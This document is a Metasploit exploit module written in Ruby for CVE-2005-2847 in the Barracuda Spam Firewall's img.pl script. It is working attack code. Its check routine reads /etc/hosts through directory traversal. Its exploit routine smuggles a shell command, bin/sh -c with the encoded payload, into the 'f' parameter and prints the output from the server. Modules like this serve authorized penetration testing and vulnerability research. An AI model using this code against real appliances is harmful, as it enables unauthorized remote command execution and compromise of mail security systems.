Barracuda IMG.PL Remote Command Execution

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Barracuda IMG.PL Remote Command Execution',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability in the  
Barracuda Spam Firewall appliance. Versions prior to 3.1.18 are vulnerable.   
},  
'Author' => [ 'Nicolas Gregoire <ngregoire[at]exaprobe.com>', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2005-2847'],  
['OSVDB', '19279'],  
['BID', '14712'],  
['NSS', '19556'],  
['URL', 'http://www.securiweb.net/wiki/Ressources/AvisDeSecurite/2005.1'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 4000,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet',  
}  
},   
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Sep 01 2005',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [true, "The full URI path to img.pl", "/cgi-bin/img.pl"]),  
], self.class)  
end  
  
def check  
res = send_request_cgi({  
'uri' => datastore['URI'],  
'vars_get' =>   
{  
'f' => ("../" * 8) + "etc/hosts"  
}  
}, 25)  
  
if (res and res.body.match(/localhost/))  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
res = send_request_cgi({  
'uri' => datastore['URI'],  
'vars_get' =>   
{  
'f' => ("../" * 8) + %Q!bin/sh -c "echo 'YYY'; #{payload.encoded}; echo 'YYY'"|!  
}  
}, 25)  
  
if (res)  
print_status("The server returned: #{res.code} #{res.message}")  
print("")  
  
m = res.body.match(/YYY(.*)YYY/)  
  
if (m)  
print_status("Command output from the server:")  
print(m[1])  
else  
print_status("This server may not be vulnerable")  
end  
  
else  
print_status("No response from the server")  
end  
end  
  
end  
  
`